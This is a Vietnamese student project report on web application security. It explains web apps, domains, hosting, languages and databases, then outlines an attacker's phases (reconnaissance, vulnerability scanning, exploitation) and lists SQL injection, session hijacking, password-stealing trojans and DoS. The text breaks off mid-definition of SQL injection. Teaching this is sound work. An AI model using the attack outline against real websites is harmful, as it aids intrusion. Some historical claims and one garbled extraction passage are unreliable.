You are on page 1of 28

Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

ĐẠI HỌC QUỐC GIA TP. HCM


TRƯỜNG ĐẠI HỌC KHOA HỌC TỰ NHIÊN
KHOA ĐIỆN TỬ VIỄN THÔNG

· ¶

ĐỀ TÀI MÔN HỌC “CÔNG NGHỆ MẠNG”

ĐỀ TÀI :

BẢO MẬT ỨNG DỤNG WEB

GVHD: Thầy NGUYỄN ANH VINH

SVTH: NGUYỄN CÔNG MINH 0520043


TÔN VI KIN 0520039
TRẦN HỒ NAM 0520045

TP Hồ Chí Minh – Tháng 11/2008

-0-
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

Mục lục
MỤC LỤC ....................................................................................................... 1

1. TÌM HIỂU VỀ ỨNG DỤNG WEB ............................................................. 2


1.1 Ứng dụng Web là gì .......................................................................... 2
1.2 Domain – Hosting.............................................................................. 2
1.3 Web Server. ....................................................................................... 5
1.4 Ngôn ngữ lập trình Web. ................................................................... 5
1.5 Các hệ cơ sở dữ liệu. ......................................................................... 8

2. BẢO MẬT ỨNG DỤNG WEB ................................................................... 10


2.1 Bảo mật là gì ...................................................................................... 10
2.2 Từ phía người tấn công (Hacker) ...................................................... 12
2.2 Từ phía người phòng thủ (Administrator) ......................................... 18

TÀI LIỆU THAM KHẢO ............................................................................... 22

NHẬN XÉT CỦA GIẢNG VIÊN ................................................................... 23

-1-
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

1. TÌM HIỂU VỀ ỨNG DỤNG WEB


1.1 Ứng dụng Web là gì?

Trong kỹ thuật phần mềm, một Ứng dụng web (hay web application) là một trình ứng dụng
mà có thể tiếp cận qua web thông qua mạng như Internet hay Itranet.
Ứng dụng web phổ biến nhờ vào sự có mặt vào bất cứ nơi đâu của một chương trình. Khả
năng cập nhật và bảo trì ứng dụng Web mà không phải phân phối và cài đặt phần mềm trên
hàng ngàn máy tính là lý do chính cho sự phổ biến của nó. Ứng dụng web được dùng để hiện
thực Webmail, bán hàng trực tuyến, đấu giá trực tuyến, wiki, diễn đàn thảo luận, Weblog,
MMORPG, Hệ quản trị quan hệ khách hàng và nhiều chức năng khác.
Một ưu thế đặc biệt của việc xây dựng ứng dụng Web để hỗ trợ những tính năng chuẩn của
trình duyệt đó là chúng sẽ hoạt động như mong muốn bất kể hệ điều hành hay phiên bản hệ
điều hành nào được cài trên máy khách cho trước. Thay vì tạo ra những chương trình khách
cho MS Windows, Mac OS X, GNU/Linux, và những hệ điều hành khác, ứng dụng có thể
được viết chỉ một lần và triển khai mọi nơi. Tuy nhiên, sự hiện thực không được ổn định của
HTML, CSS, DOM và những đặc tính trình duyệt khác có thể gây ra rắc rối trong việc phát
triển và hỗ trợ ứng dụng web. Thêm vào đó, khả năng cho người dùng điều chỉnh nhiều cài
đặt hiển thị cho trình duyệt của họ (như chọn kích thước font, màu sắc, và kiểu chữ, hoặc tắt
tính năng script) có thể can thiệp vào sự ổn định của ứng dụng web

™ Cấu trúc 1 ứng dụng web

Dù có nhiều biến thể, một ứng dụng Web thông thường được cấu trúc như một ứng dụng ba
lớp. Ở dạng phổ biến nhất, một trình duyệt Web là lớp thứ nhất, một bộ máy sử dụng một vài
công nghệ nội dung Web động (như ASP, ASP.NET, CGI, ColdFusion, JSP/Java, PHP,
Python, hoặc Ruby On Rails) là lớp giữa, và một cơ sở dữ liệu là lớp thứ ba. Trình duyệt sẽ
gửi yêu cầu đến lớp giữa, lớp giữa sẽ phục vụ bằng cách tạo ra truy vấn và cập nhật cơ sở dữ
liệu và tạo ra giao diện người dùng

1.2 Domain – Hosting

Như chúng ta đã biết Internet là một mạng máy tính toàn cầu , do hàng nghìn mạng máy tính
từ khắp mọi nơi nối lại tạo nên . Khác với cách tổ chức theo các cấp : nội hạt, liên tỉnh, quốc

-2-
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

tế của một mạng viễn thông như mạng thoại chẳng hạn, mạng Internet tổ chức chỉ có một
cấp, các mạng máy tính dù nhỏ, dù to khi nối vào Internet đều bình đẳng với nhau. Do cách tổ
chức như vậy nên trên Internet có cấu trúc địa chỉ , cách đánh địa chỉ đặc biệt , rất khác cách
tổ chức địa chỉ của mạng viễn thông.

Địa chỉ Internet (IP) đang được sử dụng hiện tại là (IPv4) có 32 bit chia thành 4 Octet ( mỗi
Octet có 8 bit , tương đương 1 byte ) cách đếm đều từ trái qua phải bít 1 cho đến bít 32, các
Octet tách biệt nhau bằng dấu chấm (.) và biểu hiện ở dạng thập phân đầy đủ là 12 chữ số.

Ví dụ một địa chỉ Internet : 146.123.110.224

(Địa chỉ IP tương lai được sử dụng là IPv6 có 128 bit dài gấp 4 lần của IPv4. Version IPv4 có
khả năng cung cấp 232 = 4 294 967 296 địa chỉ. Còn Version IPv6 có khả năng cung cấp 2
128 địa chỉ ).

Do người sử dụng nhớ được địa chỉ dạng chữ số dài như vậy khi nối mạng là rất khó khăn và
vì thế cạnh địa chỉ IP bao giờ cũng có thêm một cái tên mang một ý nghĩa nào đó, dễ nhớ cho
người sử dụng đi kèm mà trên Internet gọi là Tên Miền. Ví dụ: Máy chủ Web Server của
VDC đang chứa Báo Quê hương có địa chỉ là 203.162.000.012 , tên Miền của nó là
home.vnn.vn . Thực tế người sử dụng không cần biết đến địa chỉ IP mà chỉ cần nhớ tên Miền
là truy nhập được.

Vậy tên Miền là một danh từ dịch theo kiểu nghĩa của từng từ một (Word by Word) từ tiếng
anh (Domain name). Thực chất tên miền là sự nhận dạng vị trí của một máy tính trên mạng
Internet nói cách khác tên miền là tên của các mạng lưới, tên của các máy chủ trên mạng
Internet.

Do tính chất chỉ có 1 và 1 duy nhất trên Internet, ta không thể đăng ký được Domain name
khi mà người khác đã là chủ sở hữu

™ Cấu tạo của tên miền

Tên miền bao gồm nhiều thành phần cấu tạo nên cách nhau bởi dấu chấm (.) ví dụ
home.vnn.vn là tên miền máy chủ Web của VDC. Thành phần thứ nhất "home" là tên của
máy chủ , thành phần thứ hai "vnn" thường gọi là tên miền mức hai (second domain name
level), thành phần cuối cùng "vn" là tên miền mức cao nhất (top level domain name).

1.2.1 Tên miền mức cao nhất (Top- level Domain "TLD") :

Bao gồm các mã quốc gia của các nước tham gia Internet được quy định bằng hai chữ cái
theo tiêu chuẩn ISO -3166 như Việt nam là VN, Anh quốc là UK v.v.. và 7 lĩnh vực dùng
chung (World Wide Generic Domains), trong đó có 5 dùng chung cho toàn cầu và 2 chỉ dùng
ở Mỹ.

1- COM : Thương mại ( Commercial)

2- EDU : Giáo dục ( Education )

3- NET : Mạng lưới ( Network )

-3-
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

4- INT : Các tổ chức quốc tế ( International Organisations )

5- ORG : Các tổ chức khác ( other orgnizations )

6-MIL :quân sự (Military)

7-GOV:Chính phủ (Government)

1.2.2 Tên miền mức hai ( Second Level ) :

Đối với các quốc gia nói chung tên miền mức hai này do Tổ chức quản lý mạng của quốc gia
đó định nghĩa, có thể định nghĩa khác đi, nhiều hơn hay ít đi nhưng thông thường các quốc
gia vẫn định nghĩa các Lĩnh vực kinh tế, xã hội của mình tương tự như lĩnh vực dùng chung
nêu trên.

™ Các loại Domain name


9 Domain name cấp cao nhất

Domain name cấp cao nhất là tên miền bạn đăng ký trực tiếp với các nhà cung cấp Domain
name. Theo sau ngay phần tên bạn tùy chọn là phần TLD (Top Level Domain) có dạng: .com,
.net, .org, .gov, .edu, .info, .tv, .biz,... hoặc các TLD kết hợp với ký hiệu viết tắt của quốc gia:
.com.vn, .net.vn, .org.vn, .gov.vn,...

Ví dụ:

www.vnnetsoft.com

www.yahoo.com

www.vnn.vn

Được coi là các tên miền cấp cao nhất. Các tên miền cấp cao nhất thể hiện sự chuyên nghiệp
và uy tín trong kinh doanh trên Internet của các doanh nghiệp.

9 Domain name thứ cấp

Là tất cả những loại Domain name còn lại mà domain đó phải phụ thuộc vào một Domain
name cấp cao nhất. Để đăng ký các Domain name kiểu này, thông thường bạn phải liên hệ
trực tiếp với người quản lý Domain name cấp cao nhất.

Ví dụ:

http://demo.vnnetsoft.com

http://home.vnn.vn

Được coi là những tên miền thứ cấp.

Web –Hosting:

-4-
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

Web Hosting là nơi lưu trữ tất cả các trang Web, các thông tin, tư liệu, hình ảnh của Website
trên một máy chủ Internet, Web Hosting đồng thời cũng là nơi diễn ra tất cả các hoạt động
giao dịch, trao đổi thông tin giữa Website với người sử dụng Internet và hỗ trợ các phần mềm
Internet hoạt động. Nói một cách đơn giản, Web Hosting tương đương với trụ sở làm việc của
một doanh nghiệp trong đời thường

9 Các yêu cầu và tính năng của Web Hosting?

• Web Hosting phải có một dung lượng đủ lớn (tính theo MBytes) để lưu giữ được
đầy đủ các thông tin, dữ liệu, hình ảnh,... của Website
• Phải hỗ trợ truy xuất máy chủ bằng giao thức FTP để cập nhật thông tin
• Phải có bandwidth (băng thông) đủ lớn để phục vụ các hoạt động giao dịch, trao
đổi thông tin của Website
• Hỗ trợ các công cụ lập trình phần mềm trên Internet và các công cụ viết sẵn để
phục vụ các hoạt động giao dịch trên Website như gửi mail, upload qua trang
Web,...
• Hỗ trợ đầy đủ các dịch vụ E-mail như POP3 E-mail, E-mail Forwarding,...

1.3 Web Server:

Web Server là máy chủ có dung lượng lớn, tốc độ cao, được dùng để lưu trữ thông tin như
một ngân hàng dữ liệu, chứa những website đã được thiết kế cùng với những thông tin liên
quan khác. (các mã Script, các chương trình, và các file Multimedia)

Web Server có khả năng gửi đến máy khách những trang Web thông qua môi trường Internet
(hoặc Intranet) qua giao thức HTTP - giao thức được thiết kế để gửi các file đến trình duyệt
Web (Web Browser), và các giao thức khác.

Tất cả các Web Server đều có một địa chỉ IP (IP Address) hoặc cũng có thể có một Domain
Name. Giả sử khi bạn đánh vào thanh Address trên trình duyệt của bạn một dòng
http://www.abc.com sau đó gõ phím Enter bạn sẽ gửi một yêu cầu đến một Server có Domain
Name là www.abc.com. Server này sẽ tìm trang Web có tên là index.htm rồi gửi nó đến trình
duyệt của bạn.

Bất kỳ một máy tính nào cũng có thể trở thành một Web Server bởi việc cài đặt lên nó một
chương trình phần mềm Server Software và sau đó kết nối vào Internet.

Khi máy tính của bạn kết nối đến một Web Server và gửi đến yêu cầu truy cập các thông tin
từ một trang Web nào đó, Web Server Software sẽ nhận yêu cầu và gửi lại cho bạn những
thông tin mà bạn mong muốn.

Giống như những phần mềm khác mà bạn đã từng cài đặt trên máy tính của mình, Web
Server Software cũng chỉ là một ứng dụng phần mềm. Nó được cài đặt, và chạy trên máy tính
dùng làm Web Server, nhờ có chương trình này mà người sử dụng có thể truy cập đến các
thông tin của trang Web từ một máy tính khác ở trên mạng (Internet, Intranet).

Web Server Software còn có thể được tích hợp với CSDL (Database), hay điều khiển việc kết
nối vào CSDL để có thể truy cập và kết xuất thông tin từ CSDL lên các trang Web và truyền
tải chúng đến người dùng.

-5-
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

Server phải hoạt động liên tục 24/24 giờ, 7 ngày một tuần và 365 ngày một năm, để phục vụ
cho việc cung cấp thông tin trực tuyến. Vị trí đặt server đóng vai trò quan trọng trong chất
lượng và tốc độ lưu chuyển thông tin từ server và máy tính truy cập.

1.4 Ngôn ngữ lập trình Web

1.4.1 PHP

Năm 1994 rasmus lerdorf dua một doạn perl script vào trang web đề theo giỏi ai đang
đọc tài liệu của ông.dần dẩn người ta thích đoạn cript này và bác đầu san xuất một gói công
cụ mang ten personal home pages dó là tên đầu tiên của php

Ông đã viết một số cơ chế nhúng kết hợp với các công cụ khác để phân tích các biểu
mẩu html hay phiên dịch biểu mẫu và dạc tên là PHP2 được gọi là PHP/FI. PHP/FI vào năm
1995

Nhóm phát triển rasmus lerdorf , andigutmans, Zeev suraski đã loại bỏ những điểm
yếu của php2 và thêm một số hàm API cho phép các lập trình viên khác bổ xung những tính
năng của ngôn ngử để viết những module cho nó .vào tháng 11/1997 phiên bản php3 ra đời
Cuối năm 1998, PHP đã có khoảng 10 triệu người sử dụng và hàng trăm triệu Website
đã báo cáo là có sử dụng PHP
Vào năm 1999 phiên bản php4 đã ra dới vói tính năng nỗi trội.hỗ trợ nhiều web
server mới phiên http

1.4.2 HTML (HyperText Markup Language):

Đây là một ngôn ngữ đơn giản được sử dụng trong các tài liệu siêu văn bản nó chỉ là
các tài liệu văn bản bình thường nhưng có chứa các thành phần đặc biệt gọi là các thẻ (hoặc
các cặp thẻ) đánh dấu. Dựa theo các cặp thẻ này mà trình duyệt có thể biết được nó phải thực
hiện cái gì

Ví dụ đơn giản:

Hãy lấy một ví dụ đơn giản như sau:


<B>Xin chào, tôi là LGVT</B>
Các bạn chú ý: dòng chữ Xin chào, tôi là LGVT được đặt trong cặp chữ "<B>" và
"</B>" Cặp chữ này chính là ký hiệu của một cặp thẻ trong ngôn ngữ HTML, mà khi
biên dịch ra, trình duyệt sẽ hiểu là: Khi gặp thẻ "<B>", nó phải có trách nhiệm in tất
cả các chữ sau đó thành chữ đậm cho đến khi gặp thẻ "</B>".
Trong HTML, các thẻ có thể tồn tại đơn lẻ, hoặc tồntại dưới dạng một cặp thẻ. Nếu
tồn tại dưới dạng 1 cặp thì thẻ bắt đầu gọi là thẻ mở và thẻ kết thúc gọi là thẻ đóng
Để soạn thảo một file HTML, chúng ta có thể sử dụng bất kỳ trình soạn thảo nào,
chẳng hạn như NotePad hay thậm chí Turbo Pascal cũng được. miễn là sau đó các bạn Save
As dưới dạng đuôi *.htm

Cấu trúc của 1 thẻ trong HTML bao gồm:

- Dấu "<". Nếu là thẻ đóng thì sẽ bắt đầu bằng "</"

-6-
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

- Tên thẻ
- Các tham số khác nếu có. Nếu là thẻ đóng thì không cần tham số
- Dấu ">".

Cấu trúc của một file HTML có dạng:

<HTML>
<HEAD>
<TITLE></TITLE>
</HEAD>
<BODY>
phần thân tài liệu
</BODY>
</HTML>

Toàn bộ nội dung chính của trang HTML được đặt trong cặp thẻ
<BODY></BODY>
-
1.4.3 XML :

Là ngôn ngử mở rộng được phát triển trên tính đơn giản, dể dùng của HTML
và tính phức tạp và đa chức năng của SGML. XML được thiết kế để cho phép máy tính
có thể trao đổi tài liệu với nhau thông qua Web mà không làm mất đi ý nghĩa của dữ liệu.
Một tài liệu XML bao gồm một tập các cặp thẻ được lồng vào nhau. Mỗi thẻ có một cặp các
thuộc tính và giá trị

Ví dụ:
<Students>
<name>Lê Nguyên Sinh</name>
<from>Trung tâm CNTT, ĐHSP Hà Nội</from>
</ Students>

Cấu trúc của một tài liệu XML:

Một tài liệu XML có thể được chia thành hai phần chính, mỗi phần có thể có các thành
phần theo quy định khác nhau:

- Phần Prolog: Chứa các khai báo cho tài liệu XML. Phần này có thể chứa các định đạng
như: Các chỉ thị xử lý, định nghĩa kiểu cho tài liệu, chú thích, phiên bản đang sử dụng, cách
thức mã hóa dữ liệu, báo cáo các chỉ thị xử lý cho ứng dụng.

- Phần thân chứa nội dung dữ liệu, bao gồm một hay nhiều phần tử, mỗi phần tử được
chứa trong một cặp thẻ. Phần tử đầu tiên của tài liệu được gọi là phần tử gốc (root element).

Một tài liệu XML được coi là hợp khuôn dạng (well-form) nếu nó tuân thủ các quy tắc
sau:

-7-
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

• Các khai báo XML cần được đặt tại dòng đầu tiên của tài liệu, chẳng hạn như khai báo
phiên bản hay các chỉ thị xử lý XML.
• Mỗi tài liệu XML chỉ có một thành phần gốc (root) chứa mọi thành phần khác trong tài
liệu. Các thành phần có thể đứng trước phần tử gốc là chú thích, chỉ thị xử lý và định nghĩa
DTD (nếu khai báo ở phần khởi đầu của tài liệu).
• Mỗi phần tử của tài liệu phải được nằm trong một cặp thẻ. Nếu là phần tử rỗng thì thẻ
phải được kết thúc bằng "/>". Ví dụ: "<image/>"
• Các thành phần trong tài liệu XML, khác thành phần gốc đều nằm giữa cặp thẻ gốc và
phải lồng nhau một cách hợp lý, tức là không có thành phần phủ, tập hợp thẻ này không được
phép chồng lên thẻ kia, mỗi tập trong phải nằm trong tập hợp lớn hơn kế tiếp.
• Các cặp thẻ phải được viết chính xác như nhau kể cả chữ hoa hay chữ thường.
• Các giá trị của các thuộc tính đều phải nằm giữa hai ngoặc kép. Ví dụ: hide=true là
không hợp lệ, mà phải là hide="true".

1.4.4 ASP (active server pages)

Vào những thập niên 90 một Kì thuật mới của microsoft là kết hợp html với các đoạn
script, các thanh phần sử lí server trên cùng 1 file được gọi là ASP
Về bản chất, ta có thể coi ASP như là một ngôn ngữ thông dịch vậy. Một trang ASP
có thể sử dụng HTML, JScript và VBScript. Qua các đoạn mã nhúng này, ASP có thể truy
cập đến các thành phần phía server. Các thành phần này có thể được viết trên bất kỳ ngôn
ngữ nào hỗ trợ các thành phần COM của Microsoft Các thành phần này có thể được viết trên
bất kỳ ngôn ngữ nào hỗ trợ các thành phần COM của Microsoft.

Ưu điểm :

- Nó có thể làm được bất kỳ cái gì mà máy chủ có thể làm được với các thành phần
COM. Sau khi được thi hành, ASP sẽ sản sinh ra một trang Web có khuôn dạng HTML và trả
nó về cho Web server.
- Soạn thào thêm nội dung vào website rất linh động
- Đáp ứng truy vấn người dùng hoặc dử liệu được gởi từ HTML
- Giảm thiểu lưu thông mạng
- Trả về trang HTML nên người dùng có thể xem ở bất kì trình duyệt web nào

Nhược điểm:

- Một bất lợi lớn đối với ASP là nó chỉ có thể hoạt động trên các họ Web server
của Microsoft (bao gồm PWS trên Win9x hay IIS trên WinNT/2000/XP)

1.4.5 Javascript : Theo phiên bản hiện hành, là một ngôn ngữ lập trình kịch bản dựa trên đối
tượng được phát triển từ các ý niệm nguyên mẫu. Ngôn ngữ này được dùng rộng rãi cho các
trang web, nhưng cũng được dùng để tạo khả năng viết script sử dụng các đối tượng nằm sẵn
trong các ứng dụng. Nó vốn được phát triển bởi Brendan Eich tại Hãng truyền thông
Netscape với cái tên đầu tiên Mocha, rồi sau đó đổi tên thành LiveScript, và cuối cùng thành
JavaScript
JavaScript có cú pháp tương tự C, nhưng nó gần với Self hơn Java. .js là phần mở rộng
thường được dùng cho tập tin mã nguồn JavaScript.

-8-
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

Phiên bản mới nhất của JavaScript là phiên bản 1.5, tương ứng với ECMA-262 bản 3.
ECMAScript là phiên bản chuẩn hóa của JavaScript. Trình duyệt Mozilla phiên bản 1.8 beta
1 có hỗ trợ không đầy đủ cho E4X - phần mở rộng cho JavaScript hỗ trợ làm việc với XML,
được chuẩn hóa trong ECMA-357.
JavaScript được dùng để thực hiện một số tác vụ không thể thực hiện được với chỉ
HTML như kiểm tra thông tin nhập vào, tự động thay đổi hình ảnh,... Ở Việt Nam, JavaScript
còn được ứng dụng để làm bộ gõ tiếng Việt
JavaScript có thể được sử dụng trong tập tin PDF của Adobe Acrobat và Adobe Reader
JavaScript là một ngôn ngữ lập trình dựa trên nguyên mẫu với cú pháp phát triển từ C

1.5 Các hệ cơ sở dử liệu:


Cơ sở dử liệu là một hệ thống tập hợp của các tập tin dược thiết kế nhầm giảm thiểu
việc lập lại dử liệu
Các tập tin trong cơ sở dử liệu là một thành phần của một bộ chương trình nhằm tạo
lập quản lí và truy xuất các tập tin cơ sở dử liệu
Hệ quản trị cơ sở dử liệu (database managements system ) viết tắc là DBMS là bộ
phần mềm của những công cụ có sẳn do một số nhà sản xuất phần mềm cung cấp

1.5.1 My SQL:

MySQL là một phần mềm quản trị CSDL mã nguồn mở, miễn phí nằm trong nhóm
LAMP (Linux - Apache -MySQL - PHP)

Một số đặc điểm của MySQL

MySQL là một phần mềm quản trị CSDL dạng server-based (gần tương đương với SQL
Server của Microsoft).
MySQL quản lý dữ liệu thông qua các CSDL, mỗi CSDL có thể có nhiều bảng quan hệ chứa
dữ liệu.
MySQL có cơ chế phân quyền người sử dụng riêng, mỗi người dùng có thể được quản lý
một hoặc nhiều CSDL khác nhau, mỗi người dùng có một tên truy cập (user name) và mật
khẩu tương ứng để truy xuất đến CSDL.
Khi ta truy vấn tới CSDL MySQL, ta phải cung cấp tên truy cập và mật khẩu của tài
khỏan có quyền sử dụng CSDL đó. Nếu không, chúng ta sẽ không làm được gì cả.

1.5.2 SQL :

Mô hình cơ sở dữ liệu (CSDL) quan hệ - RDBMS, do E.F Codd đưa ra vào đầu thập
kỷ 70. Từ đó đến nay, nó liên tục phát triển trở thành mô hình CSDL phổ biến bậc nhất. Mô
hình quan hệ gồm các thành phần sau:
Tập hợp các đối tượng và / hoặc các mối quan hệ
Tập hợp các xử lý tác động tới các quan hệ
Ràng buộc dữ liệu đảm bảo tính chính xác và nhất quán.
SQL (Structured Query Language, đọc là "sequel") là tập lệnh truy xuất CSDL quan
hệ.
Ngôn ngữ SQL được IBM sử dụng đầu tiên trong hệ quản trị CSDL System R vào
giữa những năm 70. Hệ ngôn ngữ SQL đầu tiên (SEQUEL2) được IBM công bố vào tháng
11 năm 1976. Năm 1979, tập đoàn Oracle giới thiệu thương phẩm đầu tiên của SQL. SQL
cũng được cài đặt trong các hệ quản trị CSDL như DB2 của IBM và SQL/DS. Ngày nay,

-9-
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

SQL được sử dụng rộng rãi và đuợc xem là ngôn ngữ chuẩn để truy cập CSDL quan hệ.

Chuẩn SQL
Năm 1989, viện tiêu chuẩn quốc gia Hoa Kỳ (ANSI) công nhận SQL là ngôn ngữ
chuẩn để truy cập CSDL quan hệ trong văn bản ANSI SQL89.
Năm 1989, tổ chức tiêu chuẩn quốc tế (ISO) công nhận SQL ngôn ngữ chuẩn để
truy cập CSDL quan hệ trong văn bản ISO 9075-1989.
Tất cả các hệ quản trị CSDL lớn trên thế giới cho phép truy cập bằng SQL và hầu
hết theo chuẩn ANSI.

Tên
Năm Tên Chú giải
khác

1986 SQL-86 SQL-87 Được công bố đầu tiên bởi ANSI. Được phê chuẩn bởi ISO năm
1987.

1989 SQL-89 Thay đổi nhỏ.

1992 SQL-92 SQL2 Thay đổi lớn.

1999 SQL:1999 SQL3

2003 SQL:2003

1.5.3 Access :

Là công cụ hiệu quả cho các ứng dụng quản lí hồ sơ dử liệu quan hệ hệ với nhau .tập
hợp các hồ sơ dử liệu này gọi là cơ sở dử liệu quan hệ
Access rất tốt cho việc tổ chức và quản lí các cơ sở dử liệu lớn bạn có thể tạo một
trang web với access thông qua công nghệ asp

2. BẢO MẬT ỨNG DỤNG WEB


2.1 Bảo mật là gì?

Trong thế giới thay đổi từng ngày trong việc truyền thông dữ liệu toàn cầu, những kết nối
Internet rẻ tiền và tốc độ ngày một nhanh hơn thì việc bảo mật hệ thống là một vấn đề hết sức
hữu ích. Bảo mật là một đòi hỏi thiết yếu bởi vì những máy tính mang tính toàn cầu đang
ngày càng trở nên kém an toàn. Thử tưởng tượng một gói dữ liệu khi di chuyển từ điểm A

- 10 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

sang điểm B, gói dữ liệu này có thể đi qua nhiều điểm trên mạng và nếu như tại một máy nào
đó người sử dụng có thể lấy thông tin trên gói dữ liệu này và biết các thông tin chi tiết của
máy gửi, họ có thể sử dụng các kỹ thuật cao để truy nhập bất hợp pháp vào máy gửi và có thể
phá hỏng máy này hoặc toàn bộ hệ thống tùy theo mức độ thao tác. Những thao tác mà các
người sử dụng bất hợp pháp này có thể làm trên hệ thống là ăn cắp thông tin hệ thống, từ chối
các dịch vụ sử dụng trên hệ thống.

Mục đích của việc bảo mật là thông báo cho người sử dụng, phòng ban trong hệ thống biết
các vấn đề về việc bảo vệ thông tin và kỹ thuật của họ. Các luật bảo mật cũng chỉ dẫn cho họ
biết thông tin về các máy mà họ có thể gặp trong đường mạng.

Trước hết phải nhận ra một điều là không có một hệ thống nào là hoàn toàn bảo mật tuyệt
đối. Tất cả những gì mà nhà quản trị có thể làm là tăng thêm sự khó khăn cho người dùng khi
họ có ý định thâm nhập hệ thống. Nhà quản trị hệ thống cần phải quyết định sự cân bằng giữa
các mục đích, ý định sử dụng của hệ thống. Cần phải quyết định mức độ bảo mật cần thiết
cho hệ thống của mình.

Đối với các nhà cung cấp sản phẩm thì mục tiêu của họ là cung cấp càng nhiều các dịch vụ
càng tốt, đơn giản hóa các việc sử dụng dịch vụ trong hệ thống, và nói chung là tất cả những
gì mà họ có thể làm để cho sản phẩm có thể tiêu thụ nhiều. Việc này vô hình chung đã làm
cho nhà quản trị hệ thống trở nên phức tạp hơn. Bởi vì các dịch vụ đa dạng má các nhà cung
cấp phát triển có thể trở thành cổng sau cho các cracker có thể thâm nhập hệ thống.

Như vậy, có thể mô tả sự tác động của việc này đối với các nhà quản trị như sau :

+ Các dịch vụ chống lại các vấn đề bảo mật : như đã nói ở trên thì các dịch vụ mà các nhà
cung cấp sản phẩm phát triển có thể cho phép người dùng sở hữu các nguồn tài nguyên trên
hệ thống và dĩ nhiên là điều này hoàn toàn không đòi hỏi một chứng thực nào cả. Đây là một
việc hết sức nguy hiểm cho hệ thống và nhiệm vụ của nhà quản trị là cần phải quyết định hạn
chế các dịch vụ cần thiết trong hệ thống hơn là bảo mật cho các dịch vụ này.

+ Dễ dàng trong sử dụng thì khó khăn trong bảo mật : một hệ thống mà dễ dàng cho phép sự
thâm nhập của người dùng là một điều hết sức nguy hiểm cho việc bảo mật hệ thống. Nên có
cơ chế chứng thực cho mỗi sử dụng, điều này có thể gây rắc rối trong việc sử dụng nhưng nó
làm cho hệ thống trở nên an toàn hơn, đặc biệt nếu có thể thì nên áp dụng cơ chế chứng thực
thường xuyên để tăng thêm phần bảo mật cho hệ thống.

+ Kết quả của sự bảo mật chính là giảm sự mất mát thông tin : việc thiết lập các cơ chế bảo
mật như sử dụng firewall, cơ chế chứng thực, nghiêm ngặt trong vấn đề sử dụng tương ứng sẽ
làm giảm bớt sự mất mát thông tin, mất mát dịch vụ, … Điều này tương ứng với cái giá phải
trả cho các nhà quản trị.

3 yếu tố đảm bảo an ninh thông tin

* Tính bảo mật: đảm bảo rằng chỉ người được phép mới có thể truy cập thông tin

* Tính toàn vẹn: đảm bảo tính chính xác và đầy đủ của thông tin và các phương pháp xử lý
thông tin

- 11 -
Bảo
o mật ứng dụụng Web – Đồ án môn học
h “Công nnghệ mạng”

* Tính sẵẵn sàng: đảm


m bảo ngườii sử dụng đư ược phép có thể t truy cập thông tin vàà các tài sản
tương ứnng khi cần 3 tính chất quaan trọng nàyy được viết tắt bằng nhóm m từ tiếng Anh:
A C.I.A,
trong đó C là Confidentiality (tínnh bảo mật); I là Integrityy (tính toàn vvẹn); và A là Availabilitty
(tính sẵn sàng).

(Theo TCVN 75562:2005, tư


ương đương với
v ISO/IEC
C 17799:20000)

ống kê các vụ
Thố v tấn công Website
W
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

2.2 Từ phía người tấn công

Phương thức tấn công

*Thu thập thông tin chung: Đây là việc đầu tiên cần phải làm, ta tìm kiếm các thông tin
xung quanh Website

-Chủ sở hữu trang Web, đội ngũ quản trị, điều hành

-Địa chỉ IP, máy chủ DNS của Server

-Môi trường mạng, hệ điều hành, phần mềm máy chủ Web, ngôn ngữ lập trình, hệ CSDL

-Các cổng và dịch vụ tương ứng đang mở trên Server

- Số lượt truy cập, băng thông hàng tháng của Website

*Khảo sát ứng dụng Web: bước tiếp theo là tập trung nghiên cứu Website

-Website sử dụng ứng dụng Web nào?

-Mã nguồn mở hay đóng? Phiên bản?

- 13 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

-Nếu là mã nguồn mở thì download source code về để phân tích và kiểm tra, tìm đọc các
thông tin về bug và exploit từ trang chủ của sản phẩm

*Dò tìm lỗi:

Dò tìm lỗi tự động: Dùng các công cụ quét và dò lỗi Website như Scrawlr, MaxQ, Selenium,
Acunetix Web Vulnerability Scanner, …

Giao diện của Acunetix Web Vulnerability Scanner

Dò tìm lỗi bằng tay:

Vận dụng các kiến thức lập trình, hệ điều hành, bảo mật và mạng máy tính, như một “người
dùng tinh nghịch” hacker tiến hành các thao tác dò lỗi trực tiếp ngay trên website, nhất là ở
phần nhập dữ liệu đầu vào.

*Khai thác lỗi để tấn công: Đây là giai đoạn quan trọng nhất để có thể phá hoại hoặc chiếm
quyền điều khiển được Website

Một vài cách thức tấn công phổ biến

-SQL Injections

-Session Hijacking

- Local Attack

-Dùng các loại trojan, virus đánh cắp mật khẩu admin

- 14 -
Bảo mật ứng dụng Web – Đồ án môn học “Công nghệ mạng”

-DoS và DDoS

+SQL Injections

Khi triển khai các ứng dụng web trên Internet, nhiều người vẫn nghĩ rằng việc đảm bảo an toàn,
bảo mật nhằm giảm thiểu tối đa khả năng bị tấn công từ các tin tặc chỉ đơn thuần tập trung vào
các vấn đề như chọn hệ điều hành, hệ quản trị cơ sở dữ liệu, webserver sẽ chạy ứng dụng, ... mà
quên mất rằng ngay cả bản thân ứng dụng chạy trên đó cũng tiềm ẩn một lỗ hổng bảo mật rất lớn.
Một trong số các lỗ hổng này đó là SQL injection. Tại Việt Nam, đã qua thời kì các quản trị
website lơ là việc quét virus, cập nhật các bản vá lỗi từ các phần mềm hệ thống, nhưng việc chăm
sóc các lỗi của các ứng dụng lại rất ít được quan tâm. Đó là lí do tại sao trong thời gian vừa qua,
không ít website tại Việt Nam bị tấn công và đa số đều là lỗi SQL injection. Vậy SQL injection
là gì ?

SQL injection là một kĩ thuật cho phép những kẻ tấn công lợi dụng lỗ hổng trong việc kiểm tra
